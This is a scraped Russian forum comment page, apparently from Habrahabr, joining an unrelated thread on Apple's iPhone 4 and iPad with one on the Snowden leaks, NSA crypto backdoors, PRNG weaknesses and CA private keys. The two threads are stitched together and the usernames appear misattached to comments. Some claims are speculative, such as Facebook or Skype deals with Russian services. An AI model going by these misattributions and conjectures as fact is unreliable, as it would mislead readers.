Согласен, есть новшества, которые входят в нашу жизнь, есть те, что не входят. Эпл постоянно на рубеже между тем, чтобы сделать что-то новое что будет пользоваться популярностью и тем, что ещё какое-то время не будет пользоваться спросом. К тем устройствам, что обогнали своё время можно отнести мыльницу и наладонник. Современный мир без них представить сложно, но когда Эпл их выпустил, они казались ненужными.
master_yoda
Отличный пост, спасибо автору. Но мне кажется, что ненавистники эппл настолько непробиваемы, что объяснять им что-то бесполезно )
Goodkat
Судя по комментариям, все не так уж и плохо :)
Supercharged
Дело может быть не в ненавистниках Apple. Просто не везде готовы отдаваться религии Apple за свои деньги. Понимаете, я живу в сибирском городе под названием Омск (7-й по численности в России). Скажу честно, ни сам я в руках iPhone не держал, и даже не видел ни у одного из моих друзей/знакомых/коллег по работе. Да и насколько я знаю продажи у Apple в нашем городе крайне малы. И для меня это понятно. У нас в городе отдавать за эту железячку от 22 000 руб. и выше — это как бы сказать… никто не поймёт (если вы даже смогли себе позволить купить аппарат). Может сибиряки ещё не так испорчены как москали, не знаю. Но у нас если ты отдал эти деньги за железячку с такими характеристиками, тебя могут и засмеять. Поэтому люди берут Nokia и Samsung.
Поэтому религиозное событие вроде премьеры iPhone4 у нас просто напросто остается незамеченным.
PS Ещё я пока не видел в городе Бентли и Феррари. По нашим дорогам на них… Зато Порше Кайен много. Это так, в качестве параллели с телефонами…
artsiom
Есть такой весьма неприятный момент. Политика ценообразования на постсоветском пространстве ускользает от моего понимания :)
michaelchips
если я правильно понимаю то ценообразование следующие:
где то проскакивала таблица цен установленных аппл для разных стран, точно не помню но смысл там был, что для России установленный ценник usa+30%(кстати так же как и для Европы), хотя в этом я могу ошибаться, по сему давайте просто возьмем европейскую цену — 700евро и прибавим к ней томожню 30%.
700*38=26600+30%=34580 как раз примерно та цена которую все мы видим.
mobilz
// Но у нас если ты отдал эти деньги за железячку с такими характеристиками, тебя могут и засмеять

Я сам не из Москвы, но мне кажется, что это какие-то проблемы менталитета или что-то в этом духе.

По поводу цены вы, конечно же правы. Если не можешь себе этого позволить, то копить полгода на телефон смысла нету.

Вообще мой коммент предназначался скорее для фанатов HTC и тому подобного, которые стоят ненамного меньше, чем айфон. Ваша ситуация немного другая.
dmitriid
>>Но у нас если ты отдал эти деньги за железячку с такими характеристиками, тебя могут и засмеять.
Да, часто замечал такое: многие хотят обладать чем-либо ради понтов, потому что это круто или же наоборот, не хотят покупать, потому что могут засмеять и никто не поймёт.

bolk
А у FaceTime'а протокол зашифрован? Ну, то есть Skype прослушать нельзя вроде бы как, а FaceTime?
artsiom
Пока неизвестно. Подождем спецификации.
bolk
Точно, сегодня я невероятно тупой.
artsiom
нужно всего лишь разделить 5 на 2 )
bolk
Adroid еще скажет свое слово :)

хотя Стив, конечно, молодец
pens
Андроид старается догонять бешеными темпами, это они безусловно молодцы. Их немного губит, имхо, просто бешеное количество просто одинаковых девайсов, выбрать среди которых просто нереально :) Это я про HTC сейчас :)

Хотя уровни продаж андроидных телефонов говорят, что не особо-то они губятся :))
bolk
Да уж, маркетологи у эпл — молодцы, скоро захватят все :)

А дисплей действительно впечатляет…
artsiom
Написано хорошо. Придерусь только к цифрам:
1) «Мы выплатили разработчикам приложений в AppStore около 1 миллиарда долларов» — это ни о чем не говорит. Сколько в среднем заработал один средний разработчик? Да, это лучше, чем Android Market, но он и существует меньше, и по устройствам только-только сравнялся (вроде).
2) «казуальных игр, рынок которых может достигнуть 13 миллиардов долларов», рынок достигнуть может, только iPhone тут не при чем. Казуальные игры — это очень много платформ.
3) «На презентации iPhoneOS 4 Джобс показал любопытный слайд:» — обыватель скажет «вау! круто!». Но если подумать, то правильный вывод будет, «оу… отстой… и в этой куче хлама мне нужно искать нормальные игры?». Не забывайте, что пройти проверку на другие платформы из слайда гораздо сложнее.
bolk
Я, как разработчик из России не могу на нем зарабатывать (хитрые методы исключаем). Поэтому я даже не интересовался этим вопросом.
Кстати историй про 10K баксов в день довольно мало на самом деле.
artsiom
Историй было всего штук 5 — один 250к, другой 600к, у третьего миллион закачек и т.д. На самом деле просто очень лихо распиарили эти истории. Может и сам Apple в этом помог. Ну а Google всем этим не занимается.

У Андроида есть success stories, но по-меньше.
techcrunch.com/2010/03/01/android-market-gets-a-13000-per-month-success-story-of-its-own/
bolk
значит об этих историях слишком часто писали на хабре :)
artsiom
Installed base у андроида меньше. Пока что он сравнялся и обошел по количеству продаж.

Про казуальный рынок согласен. Но ведь хочется оттяпать от этого рынка кусок побольше :)

А насчет игр вообще… Мне это напоминает ситуацию с Kongregate'ом. Игр толпы, но найти хорошие, в принципе, не так уж и сложно. Что в аппсторе плохо — нельзя сразу дать оценку приложению, только при удалении. Правда, Apple сейчас делает какую-то геймерскую соц. Сеть, так что может хотя бы с играми будет более ясно
Supercharged
2. iPad

За восемь недель Apple продали 2 миллиона iPad'ов. Amazon изо всех сил скрывает данные по продажам Kindle'а, но считается что всего, за два года существования этой читалки, их было продано… 3 миллиона единиц.

При этом Amazon занимает 60% американского рынка е-читалок. Неутешительное сравнение для лидера, ообенно учитывая неожиданную(?) популярность iBookStore.


статья в целом очень не плохая (хорошая:)), только не могу согласится с преведенным выше анализом. Киндл — очень ограниченный «девайс» расчитанный на узкую специализацию, привязанный на одного издателя/продавца и т.д и т.п.
Просто, как мне кажется — сравнение не очень корректно, в плане «неутешительности». Скажем как сравнение по продажам любого устройства с GPS исключительно и всех вместе последних моделей телефонов/смартфонов со встроенными приемниками. Плюс ко всему подписка на Киндл на сколько я помню включает в себя пожизненный (?) доступ к магазину, т.е. траффик.
Т.о. — для Киндл 3 миллиона — очень хороший показатель (для своей ниши).
TerrorDroid
В сочетании с 22% рынка екниг сравнение уже не такое утешительное :) Но с замечанием в целом согласен
Supercharged
Киндл сравнивается как устройство для чтения с собственным магазином, узкоспециализированное. Ближайший пример.
artsiom
это я понимаю и даже где-то согласен. но ведь его не сравнивали с другим «устройством для чтения с собственным магазином, узкоспециализированное», правильно? а с устройством у которого фунция чтения — только одна из довольно обширного списка функций. поэтому я и сомневаюсь в корректоности такого сравнения. ну как соковыжималку сравнить с кухонным комбайном, что-ли…
TerrorDroid
Как соковыжималка, так и комбайн претендуют на любовь и кошельки пользователей, вернее, отдельной их группы, любящей почитать. Ну а те уж думают — выбирать унылый черно-белый Киндл с МП3-плеером и гигантской батарейкой, либо айпад.
MikhailEdoshin
iAd vs adWord?

Вы немного перепутали. Это у Гугла чуть не появилась монополия. Они хотели купить компанию adMob, но антимонопольный коммитет этого не позволил полгода назад. Сделка завершилась недавно, как раз благодаря анонсу iAd. Иными словами, Яббл вошел на рынок, где его уже ждал мощный конкурент.

Цифры без логики бессмысленны, математика чужих доходов ошибочна.
mobilz
> Это великолепный инструмент поддержания ВоллСтрит в наличии высоко катируемых акций…

Просто так эти акции не поддерживаются. 150 000 000$ за первый день продаж тое делаются не просто так :) Голимый продукт при каком угодно пиаре не будет продаваться так (то есть гигантскими объемами не только в день продаж, но и через месяц и через два и через пять). За примерами далеко ходить не надо :) Windows Vista :))

> он блин просто произведение искусства, и сколько же я отдал за закрытую систему жизнеобеспечения моего мления… сколько я переплатил… Блин я знаю что переплатил… но сколько… 200%.

От силы 10%. Ноутбуки в этом сегменте столько и стоят.
MikhailEdoshin
Да хватит уже рассказывать сказки про контрактную кабалу, не пугайте просто так людей. Во-первых, как и любой другой контракт, его можно разорвать досрочно, правда, скорее всего, прийдется уплатить нечто вроде early termination fee — стандартная практика.

Во-вторых, платят пользовали по контракту же не просто за iPhone, а за мобильную связь, которая, при самых дорогих тарифах (да, да, они есть на выбор), является еще и безлимитной и включает также безлимитные sms и хорошие условия по мобильному интернету.

Контракт обеспечивает вполне логичные и прозрачные условия с обоюдной выгодой. Я думаю, всем и так ясно, что оператору намного более выгоден лояльный (хотя бы на срок контракта) контрактный абонент, который точно будет использовать его услуги и платить за это определенную сумму (или в крайнем случае заплатит early termination fee за досрочный разрыв договора), чем сферический pre-paid абонент в вакууме, который может толком не совершать исходящий звонков и почти не тратить денег. Это даже вопрос не только количества денег, которые приносит абонент, а его прогнозируемость и стабильность для оператора. Поэтому операторы всей силой стараются заманить абонентов на контрактное подключение, используя для этого самые различные акции, скидки, дополнительные услуги и так далее. Предоставление хорошей скидки на iPhone просто является одним из таких дополнительных плюсов контракта.

Это распространено, как на львиную долю смартфонов, так и на другое оборудование, к примеру, различные беспроводные 3G-модемы и т.д. Обычные телефоны (не смартфоны) или смартфоны более низкого класса в таких случая вообще предоставляют бесплатно при подписании контракта, иной раз в количестве нескольких штук.

Да, скорее всего, какая-то переплата в тарифе из-за наличия скидки на iPhone в нем есть, не не такая существенная, чтобы это сильно кого-то волновало.

Такие суммы кажутся дорогими? Ну, каждому свое, многие у нас вот с телефонов почти не совершают исходящих звонков и ограничиваются SMS, нося телефоны больше «для красоты» или используют несколько sim-карт с разными тарифами разных операторов для экономии денег, после чего гордятся малой суммой затрат на сотовую связь, вот только не нужно думать, что такой режим использования телефонов подходит всем — многих их до сих пор покупают чтобы звонить и говорить, причем без необходимости каждый раз смотреть, что за оператор у абонента на другом конце, какое сейчас время суток или фаза луны, да или просто для пополнения баланса. Поэтому люди и заключают контракты с сотовыми операторами, даже в наших странах, чего уж говорить про США, где контрактная система подключения намного более распространена, чем у нас.

Меня вообще удивляет, что кто-то считает такие суммы дорогими, вот, к примеру, я оплачиваю сотовому оператору по контракту более 400 грн в месяц, что раньше (до кризиса) равнялось 80 долларам, а сейчас (из-за падения курса гривны) уменьшилось до 50 долларов, при этом тариф «неограниченный» является таким только по названию (количество нетарифицируемых минут разное и зависит от оператора абонента, которому звонят, включено мало sms и очень мало интернета, есть плата за соединение и т.д.), хотя и лучше всего того, что под этим соусом преподносят остальные операторы. Нужно ли говорить, что никакой скидкой на iPhone или чем-то подобным в этом случае даже и не пахнет. Получается, что ранее в год у меня на это уходило более 960 долларов, конечно, сейчас сумма снизилась, но не благодаря сотовому оператору :) — Вы думаете, я был бы против накинуть немного сверху и получить условия контракт как у AT&T в случае с iPhone?
mobilz
На PSP/Nintendo DS не так уж и много полномасштабных игр. Не говоря уже о том, что, судя по всяким TOP 10 игр, тот же PSP недалеко ушел даже от айфона. iPad в качестве приставки будет интересен. Будем посмотреть, какие игры будут на нем появляться.
master_yoda
Если верить вики — en.wikipedia.org/wiki/List_of_PlayStation_Portable_games — то на PSP 642 игры. И ради MGS: Peace Walker я даже сдул с нее пыль =) Качество большинства игр и удобство железного контроллера несравнимо выше, чем на яблофоне — тут не стоит заблуждаться. Другое дело, что что она не особо-то и portable и в плане софта практически совсем никакая (по сравнению все с тем же с яблофоном). Поэтому и пылилась на полке =)
Spree
нет 1 млрд долларов получили разработчики, а пользователи купили приложений на 1 млрд + 30% которые забрала Apple.
dmitriid
"… при том, что экран в новом айфоне — 356 точек на дюйм..." 326 точек, поправьте, пруф
Rsolars
Спасибо, поправил
dmitriid
iКрасиво
mamahtehok
Если на работе узнают, какой я молодца (пишу на хабр вместо того, чтобы работать), премии не видать :)
Spree
Кто-то может мне объяснить что нового привносит гироскоп? Точно то же самое раньше умела делать связка компас+акселерометр. Ну да, может гироскоп и работает немного быстрее и точнее. Но в чем революция для разработчиков игр, какие такие новые игры с появлением гироскопа они могут сделать, какие раньше делать не могли?
Goodkat
Наверное я счастливый человек, потому что никогда не пользовался продукцией которую выпускает apple. У меня нет органов которым нужна продукция apple. В моей жизни нет ситуаций когда бы мне понадобилась продукция apple. И я думаю в ближайшее время я не буду пользоваться этой продукцией. Но считаю, что любая конкуренция полезна для всех. Не важно плохой apple-чайник или хороший, главное, что он есть на рынке.
Lord_Daedra
Это, по-моему, самый лучший комментарий. Спасибо.
dmitriid
Не android marketplace, a android market. Есть Marketplace, но это продукт не Google, а Microsoft
Свежая порция секретных документов от Эдварда Сноудена дает понять, каким образом Агентству Национальной Безопасности США удается обходить криптозащиту Интернет-коммуникаций.

Сразу в трех изданиях (The Guardian, The New York Times и ProPublica) были выложены выдержки из секретного бюджета АНБ, согласно которым с 2000 года, когда стали массово внедрятся средства шифрования, спецслужбы США потратили миллиарды долларов на взлом криптографии в рамках секретной программы Bullrun (названа в честь первого крупного сражения Американской Гражданской войны, произошедшего 21 июля 1861 года возле Манассаса, штат Виргиния).

Деятельность Агентства не ограничивалась научными исследованиями алгоритмов и строительством дата-центров для взлома коммуникаций методом перебора ключей. Выяснилось, что Агентство давно и успешно работает с IT-компаниями по вопросу встраивания в их продукты закладок для спецслужб США, а также ведет работу по обнаружению уязвимостей в механизмах шифрования и целенаправленному ослаблению международных алгоритмов защиты данных (сообщается о неназванном международном стандарте шифрования, принятом Международной организацией по стандартизации в 2006 году). На одно только встраивание бэкдоров в популярные коммерческие продукты, в рамках программы SIGINT, ежегодно тратится 250 млн. долларов.

Согласно документам, наибольшие усилия предпринимаются для взлома протокола SSL, обеспечивающего безопасность большинства коммуникаций в современном Интернете. VPN и технологии защиты 4G также являются одними из приоритетных направлений. АНБ поддерживает внутреннюю базу данных ключей шифрования, позволяющую мгновенно расшифровывать соединения. Если же необходимых ключей не оказывается, то запрос переходит к специальной «Службе восстановления», которая пытается получить его различными способами.

Несколько опубликованных документов






Вместе с АНБ в программе участвовал GCHQ (Government Communications Headquarters, Центр правительственной связи) — британская спецслужба, ответственная за радиоэлектронную разведку и защиту информации государственных органов. По информации The Guardian, в течение трех лет она разрабатывала способы взломов зашифрованных данных, проходящих через Hotmail, Google, Yahoo и Facebook. Согласно документам, к 2012 GCHQ разработал «новые возможности доступа» в системы Google.

Как отмечает The New York Times, полученные от Сноудена документы свидетельствуют о том, что АНБ считает возможность расшифровывать информацию одним из своих приоритетов и «соперничает в этой области со спецслужбами Китая, России и других стран». «В будущем сверхдержавы будут появляться и приходить в упадок в зависимости от того, насколько сильными будут их криптоаналитические программы. Это цена, которую должны заплатить США чтобы удержать неограниченный доступ к использованию киберпространства», — цитирует газета документ АНБ от 2007 года.

В полной мере возможности АНБ в области дешифровки известны только ограниченному кругу организаций, так называемой «Пятерке Глаз»: АНБ и их коллеги в Великобритании, Канаде, Австралии и Новой Зеландии.

В последнее время все больше крупных компаний стали переходить на специальные аппаратные решения для организации VPN и криптографии, поэтому на 2013 год АНБ планировало либо встроить аппаратный бэкдор в чипы шифрования через производителя, либо обнаружить и негласно использовать уже имеющиеся уязвимости в реализации. Что именно происходит сейчас неизвестно, т.к. документам Сноудена уже несколько лет.

Известный специалист по криптографии Брюс Шнайер высказал мнение в The Guardian, что «правительство США предало Интернет» и уже опубликовал свои рекомендации как (попытаться) избежать слежки АНБ.
andorro
Стратегия безопасности будущих лет: весь буржнет переходит во Вконтакте и аську (им пофиг, если за ними будет следить ФСБ), а мы — в Скайп и Фейсбук (нам пофиг, если за нами будет следить АНБ).
interrupt_controller
Тогда АНБ начнет следить за вк и аськой, а ФСБ за скайпом и фейсбуком и замкнутый круг.
subvillion
«Спецслужбы внедрили, в преступные группировки, столько законспирированных агентов, что большая часть преступных групп теперь состоит только из них»
Trept
Совершенно напротив, в реальном мире оперативные мероприятия по поимке «хакера» заключаются в поисках «казачка», предусмотрительно уличенного в мелком преступлении, после чего отпущенного на свободу с формулировкой: «делай, что и всегда на форуме/IRC канале/etc N, когда твои услуги нам понадобятся — тебе позвонят». Этот факт подтверждается перманентными успехами в раскрытии, кардерских, и не только, групп, а вот с одиночками значительно тише.
subvillion
Это не совсем то, что Вы утверждали.
Согласно Вашей цитате в группировке (а Анонимусы — группировка), одни агенты. Зачем там кого-то ловить?
А вот для выполнения заказов такая группировка вполне годится.
Trept
Вполне возможно их особо-то и не ловят, то что какой-нибудь Адоб/МС/кто-то еще потерял несколько сот лямов из-за пиратства шерифа АНБ может не особо и волновать, лишь бы эти анонимусы/лулзы не лезли в более другие места.
Так и пару есть куда выйти, и пар этот под контролем. Ну и накрывать их потом проще, когда уж совсем распоясаются.
Теория, само собой.
eexo
LulzSec-то вроде развалился только потому, что среди них был один из агентов ФБР.
Mairon
Довольно распространена версия, что они их и создали.
Flammar
Bad news, everyone! CIA!
www.youtube.com/watch?v=Hlip7jZX9m0
Bronx
Как раз Skype и Facebook небезопасны даже больше, потому что нет гарантий, что ФСБ не следит за ними прямо сейчас. Думаете, Цукерберг просто так к нам приезжал, поагитировать программистов уехать к нему работать? Думаю, за 2 дня российские спецслужбы обо всём с ним договорились и теперь FB находится на том же уровне, что и VK.

Про Skype ещё проще — Microsoft давно сотрудничает со спецслужбами РФ и раскрытие методов шифрования в Skype уж точно не должно стать исключением.

Мораль всего, что рассказал Сноуден, проста — не доверяй массовым бесплатным сервисам. На поддержание их работы требуются огромные затраты, и если не видите явных способов монетизации — значит, как минимум, они торгуют вашей информацией. Или предоставляют удобные сервисы по идентификации человека — FB уже сейчас внедряет систему поиска лиц людей среди всех загруженных фотографий и угадайте, кому эта система больше всего может пригодиться.

Ну и как общий итог — правительство должно быть под контролем граждан, иначе оно неизбежно начнет делать такие гадости, не жалея ничьей приватности.
Deeman
Если ты не займёшься политикой, политика займётся тобой. ©
Gromit
Но с другой стороны дядечка Брюс Шнаер написал, и это кажется логичным, что не стоит доверять проприетарным системам и опен сорс лучше гарантирует то, что в коде не будет бэкдоров. Хотя бы потому, что их легко увидеть.

В итоге получается — платные опенс сорсные сервисы. Что у нас есть такого?
Oxyd
А кто мешает на серверной стороне платных опенсорсных сервисов установить закладку?
Kirhgoff
Шифрование на клиентской, очевидно же. Пусть тырят скока влезет
g0dlike
А аппаратные закладки, о которых упоминалось в статье? Понятно, что это уже из разряда конспирологии, но Intel — американская компания, что мешает АНБ надавить на них и заставить встроить в свои CPU закладки? Тем более что в процессорных архитектурах уже есть специальные команды для ускорения того же AES, соответственно, в будущем, когда софт будет активнее их использовать, закладка может срабатывать при попытке вызова этой команды и неким образом информировать спецслужбы о параметрах шифрования.
Scratch
Позволю себе оставить здесь ссылку на эту статью: www.xakep.ru/post/58104/
Semisonic
Да, статья зачётная. Но насколько всё описанное в статье реально соответствует действительности — до конца не понятно.
Tranced
В каментах к статье есть ссылка на блог автора, (Игорь Коркин (очевидно псевдоним) обнаружевшего это зловред.

Мне одному кажется или Джефф Дин действительно нервно пишет макросы под Excel в сторонке?
powerman
Цитата из статьи:

Применение иностранных криптографических средств с длиной ключа более 40 бит запрещено на территории России законодательно <...>

Всё что я смог найти по этому поводу — это постановление Правительства РФ от 29 декабря 2007 г. N 957 (его обзор на Гаранте), в котором говорится, что требуется лицензировать определённые криптографические средства с ключом более определённой длины. Согласно этому постановлению, максимально допустимая длина ключа, при которой не требуется лицензирование — 56 бит, а в предшествующей версии постановления было 40.
Действие статьи происходит в 2007-м, так что, предположительно, автор имел в виду ещё старое постановление. Но при любом раскладе ни о каком запрете речи не шло.

В этом контексте интересно услышать мнение юристов: то что сейчас в домашних условиях доступны без всяких лицензий алгоритмы из той же библиотеки OpenSSL, в которых ключи могут быть куда длиннее — это нарушение закона, или же есть какая-то хитрость, позволяющая для личного и коммерческого использования прибегать к помощи таких библиотек и не заморачиваться с лицензиями?
KEKSOV
Не являюсь юристом, но сошлюсь на законодательную базу. См. постановление Правительства №313 от 16 апреля 2012.

Пункт 1:
1. Утвердить прилагаемое Положение о лицензировании деятельности по разработке, производству, распространению шифровальных (криптографических) средств, информационных систем и телекоммуникационных систем, защищенных с использованием шифровальных (криптографических) средств, выполнению работ, оказанию услуг в области шифрования информации, техническому обслуживанию шифровальных (криптографических) средств, информационных систем и телекоммуникационных систем, защищенных с использованием шифровальных (криптографических) средств (за исключением случая, если техническое обслуживание шифровальных (криптографических) средств, информационных систем и телекоммуникационных систем, защищенных с использованием шифровальных (криптографических) средств, осуществляется для обеспечения собственных нужд юридического лица или индивидуального предпринимателя).


Есть следующий момент:
3. Настоящее Положение не распространяется на деятельность с использованием:

г) шифровальных (криптографических) средств, являющихся компонентами программных операционных систем, криптографические возможности которых не могут быть изменены пользователями, которые разработаны для установки пользователем самостоятельно без дальнейшей существенной поддержки поставщиком и техническая документация (описание алгоритмов криптографических преобразований, протоколы взаимодействия, описание интерфейсов и т.д.) на которые является доступной;
....


Думаю, что openssl прекрасно подходит под этот пункт. Как, например, стандартные реализации SSL/TLS.

Также в приложении к постановлению есть список работ/услуг для которых необходимо лицензирование.

base.consultant.ru/cons/cgi/online.cgi?req=doc;base=LAW;n=128739
Semisonic
Как антивирус не может гарантировать 100% защиту компьютера, а только (очень) усложнить жизнь хакерам; так теперь и средства шифрования не могут гарантировать полную приватность передаваемых данных, только усложняют жизнь АНБ, ФСБ и другим спец. службам по получению инфы о нас.
Но опять же, вряд ли все они следят за каждым моим твитом в режиме реального времени.
grossws
Я бы поостерёгся на счёт заявлений о том, что опен сорс гарантирует отсутствие бэкдоров. Вы готовы проверить код OpenSSL, что в ГСПЧ или запчастях для криптоалгоритмов нет искусственного снижения стойкости? Гугл на запрос PRNG vulnerability даёт много ссылок.
ushim
Я бы поостерёгся на счёт заявлений о том, что опен сорс гарантирует отсутствие бэкдоров.


Ничто не гарантирует Вам отсутствие бэкдоров. Опенсурс только сильно снижает вероятность их наличия.
ToSHiC
Есть опубликованная информация о бэкдурах в OpenBSD и вышедших оттуда продуктах, известны имена разработчиков, которые получали деньги за это от ФБР задолго до призм. Даже если вы знаете точно marc.info/?l=openbsd-tech&m=129236621626462&w=2 что кто-то рылся например в openssh, то все равно не так много людей способны порыться там в алгоритмической части и найти закладки.
J_o_k_e_R
Очень интересная переписка.
porzione
Нету информации о бэкдорах. Кто-то пишет, что типа закладывал их когда-то давно, но без конкретики. Конкретика так и какие-либо подтверждения так и не были опубликованы. Что крайне странно, так как после опубликование этой переписки, очевидно, что все специалисты на перегонки бросились лопатить этот код. И ничего. Многие разработчики на это высказывались, что даже, если что-то тогда и было, то код с тех пор настолько изменился, что все закладки ушли сами собой. На данный момент более всего похоже на вброс с целью дискредитации открытого ПО.
Kirhgoff
Даже если бросились искать, не факт что потом бросились публиковать. Если верить тому же Сноудену, то оч многие 0day не публикуются и АНБ прикладывает усилия, чтобы так было и дальше.
J_o_k_e_R
Снижает за счёт того, что в код можно посмотреть? Так людей, способных в этом коде увидеть проблему, сотни на весь мир, и при этом чаще всего это не программисты, а математики. Абсолютное большинство пользователей (в том числе разработчики) опен-сорс продуктов по-умолчанию считают, что OpenSSL надёжный и не содержит закладок. Можно тут на хабре опрос провести, сколько человек в код смотрели, а сколько используют, но результат предсказуем, мы оба его знаем. Те, кто не доверяет, обычно пишут свои криптовелосипеды, а уж там наверняка дыра на дыре, т.к., опять же, специалистов в области криптографии совсем мало.
porzione
Не только. Еще и за счет наличия независимых совместимых реализаций (Брюс Шнайер об этом писал). Например, в OpenSSL можно заложить только такую закладку, которая не ломает совместимости с YaSSL/CyaSSL, GNUTLS, NSS, и множеством других.

Конечно, это вполне возможно (придумать такую закладку), даже и несложно, пожалуй. Но все-таки сильно ограничивает количество вариантов, и мест, где ее потом будут искать.
ToSHiC
Так не обязательно реализацию портить. Если испортить ГПСЧ, то всё будет отлично совместимым, но при этом стойкость может упасть на много порядков.
petropavel
Естественно. Это я и имел в виду, говоря, что закладку придумать несложно. Но все-таки, следить за исходниками ГПСЧ гораздо проще, чем вообще за всей математикой в OpenSSL. И проще отловить закладку.
ToSHiC
Бывают сложные ГПСЧ. Например, такие
petropavel
А ведь в случаем необходимости, можно вместо ГПСЧ использовать свою заранее просчитанную последовательность псведо случайных чисел. Например посчитать алгоритмом Вихря Мерсенна последовательность для 48 числа Мерсенна. Период такой последовательности будет равен 2^(57885161)-1 и скорей всего атаку на ГПСЧ совершить тут не получится.
qw1
Вихрь Мерсенна хоть и очень клевый, но не криптостойкий (можно угадать предыдущие\следующие значения). Самое тру — это fortuna
BelBES
>Так людей, способных в этом коде увидеть проблему, сотни на весь мир

Ну так и прекрасно. Достаточно одному из ста увидеть и не промолчать, и о бэкдоре узнает весь мир. Вероятность же того, что бэкдор будет найден в закрытом продукте — несравнимо ниже.
Scratch
В том и проблема что этот самый один из ста может быть занят какими-то своими делами, а не копанием кода openssl.
У людей вообще-то бывает своя жизнь, с опенсорсом не связанная вообще никак.
Засада именно в низкой вероятности.
Bal
www.opennet.ru/opennews/art.shtml?num=33188
Компания Coverity, развивающая инструментарий для автоматического анализа кода на предмет наличия проблем безопасности и ошибок представила очередной ежегодный
отчёт (PDF, 550 Кб) с результатами изучения 37 млн строк кода из 45 наиболее активно разрабатываемых открытых проектов и 300 млн строк кода из 41 анонимного проприетарного продукта. В среднем, в открытых проектах было выявлено 0.45 дефектов на 1000 строк кода, для проприетарных продуктов данный показатель составляет 0.64, при этом средний показатель качества для всей индустрии разработки ПО составляет 1 ошибка на 1000 строк кода.
eexo
К чему это? Coverity не проверяет правильность алгоритма, только правильность кода.
olegnik
Статический анализ ищет более низкоуровневые проблемы. т.е. если АНБ будет встраивать buffer overflow — это заметят. Если будут встраивать предсказуемый ГПСЧ — проблема будет лежать на несколько уровней абстракции кода выше, и проверяющий найденную ошибку с большой вероятностью не сможет в этот момент оценить весь код целиком.
ToSHiC
Ну вообще я про гарантию ничего не говорил. Просто вероятность меньше
qw1
Перечитал свой коммент, говорил про гарантию, виноват, некорректно выразился. Конечно, ничто не может ее гарантировать, бессмысленно спорить. Но вероятность все таки меньше.
Infthi
Думаю, за 2 дня российские спецслужбы обо всём с ним договорились

Всегда было интересно, как люди себе это представляют?

Допустим, ФСБ решило встроить закладку в Фэйсбук.
Если они договорятся с Цукербергом, он же не будет встраивать закладку лично. Он поручит это менеджеру, тот — нижестоящему менеджеру, а уже тот — программисту. Это опасно — слишком много осведомлённых людей в цепочке. Любой из них может отказаться (по идеологическим причинам, или из желания стать новым Сноуденом, и т.д.) и/или слить информацию в СМИ. Будет большой скандал, последствия для FB печальны.
Закладку, в конце концов, может найти тестировщик, и, ничего не подозревая, опубликовать её в корпоративном багтрекере. Значит, тестировщика тоже надо ввести в курс дела — чтобы этого не случилось. А это, опять же, лишние уши.

Гораздо эффективнее договориваться о таких вещах не на уровне высшего руководства, а непосредственно с программистами (на худой конец, с менеджерами низшего звена).
Kirhgoff
Я себе это представляю так: программистам сообщается что разрабатывается, например, новый движок по оптимизации рекламы и этому движку для работы нужен доступ ко всем данным. Разрабатывается протокол передачи данных, он отправляется разработчикам для реальной разработки движка, копия — в ФСБ. Когда все готово администраторам говорят установить движок там-то и там-то. Другим администраторам говорится что надо соединить «вон те» сервера с «этими». Среди «тех» случайно оказывается сервер ФСБ который проводит работу по «оптимизации». В итоге реальную цель в FB может очень мало людей (вплоть до одного).
Kirhgoff
А откуда, Вы говорите, у АНБ есть «SSL private key»? Если его нет даже у конторы, выдающей SSL сертификат? И вообще он с сервера никогда не уходит?
oshibka404
Да, там не было сказано, что они могут. Сказано, что они пытаются и умеют с ключом.
valodzka
При чем тут «там»? Я отвечаю на конкретный коммент.
coolspot
Еще раз. Приватные ключи сервер, на котором они используются, НЕ ПОКИДАЮТ. В CA передаются certificate signing request, а хранятся там сертификаты, которые вообще-то являются не приватной информацией.
J_o_k_e_R
Да никому не нужен ваш секретный ключ. У АНБ есть доступ к ключам CA, соответственно они могут подписать свой сертификат для любого домена и провертеть mitm.
Kirhgoff
Спасибо я знаю как делается mitm. Я отвечал на конкретный коммент. 1000 и один недостаток идеи пользоваться VK американцам, как и общий недостаток идеи «пользоваться VK» я не рассматриваю в контексте данной ветки комментов.
J_o_k_e_R
От подмены ключа существует довольно простая защита — проверка по отпечатку. Правда это не защита «по умолчанию».
Cancel
«Удобная панель» StartSSL генерирует всё на сервере. Если полениться и воспользоваться ей, то у них будет и секретный ключ.
J_o_k_e_R
В реальном ленивом мире приватные ключи лежат на сайте CA. Можно и CSR посылать, конечно, но далеко не все таким озабочены.
rakeev
Приведите, пример CA, пожалуйста, которому нужно заливать private key И заодно хоть одну мысль на предмет того зачем посылать private key в CA. Это же даже разные файлы.
J_o_k_e_R
Любой. В панели генерации сертификата вы можете либо залить CSR, либо сгенерить ПРИВАТНЫЙ ключ прямо в панели, а потом его скачать. Многие говорят, что после скачивания приватный ключ удаляется, но вот стоит ли им верить?
kozzztik
Да? Как все запущенно. cacert меня развратил.

Верить конечно же нельзя. В корпоративном мире, если кто-то может угнать Ваши данные, сделает это, так как данные стоят денег.
wholeman
CAcert тоже генерирует приватный ключ, CSR и сертификат (правда, для S/MIME) на себе и потом отдает одним pem'ом.
Cancel
Не знаю за S/MIME. Я использую и изначально речь шла про SSL сертификаты.
J_o_k_e_R
То, что у них называется client certificate (и используется, например, для логина) по умолчанию генерится на сервере. А потом pem с приватным ключом и сертификатом отдается браузеру.
Cancel
Отлично. То есть ужасно. То есть пофигу, к теме не относится, так как изначально тут habrahabr.ru/post/192722/?reply_to=6696012#comment_6693876 речь шла про serverside ssl сертификат. В любом случае, насколько я понял, все предоставляют возможность использовать csr. Так что те, кто ею не пользуются ССЗБ.
J_o_k_e_R
Только часть контор предлагают «для удобства» сгенерировать на их серверах и приватный ключ и CSR.
grossws
У нормальных контор, которыми пользуются большинство — типа godaddy, есть лишь поле для вставки CSR и они в принципе не могут получить ваш ключ.
J_o_k_e_R
Как раз GoDaddy, если мне не изменяет память, ловили на том, что он выписал левый серт на google.com. Нафиг им ваш закрытый ключ, если они могут сделать свой для нужного кому-то сервера? :)
grossws
Не GoDaddy, а DigiNotar, который после инцидента прекратил деятельность.

The Register: Fraudulent Google credential found in the wild
J_o_k_e_R
vk.com использует 2048 битный ключик. Как Вы думаете сколько времени пройдет до появления закрытого ключа «у них в папочке»? Предположим вычислительный кластер у них из совокупной мощности всех компьютеров земли?
grossws
Пару недель на утрясание формальностей с крышей вконтакта и пару минут на пересылку ключа?
porzione
Или ещё проще — прижать в уютном уголке админа, и завтра он сам передаст ключ даже не поставив в известность своё руководство.
allter
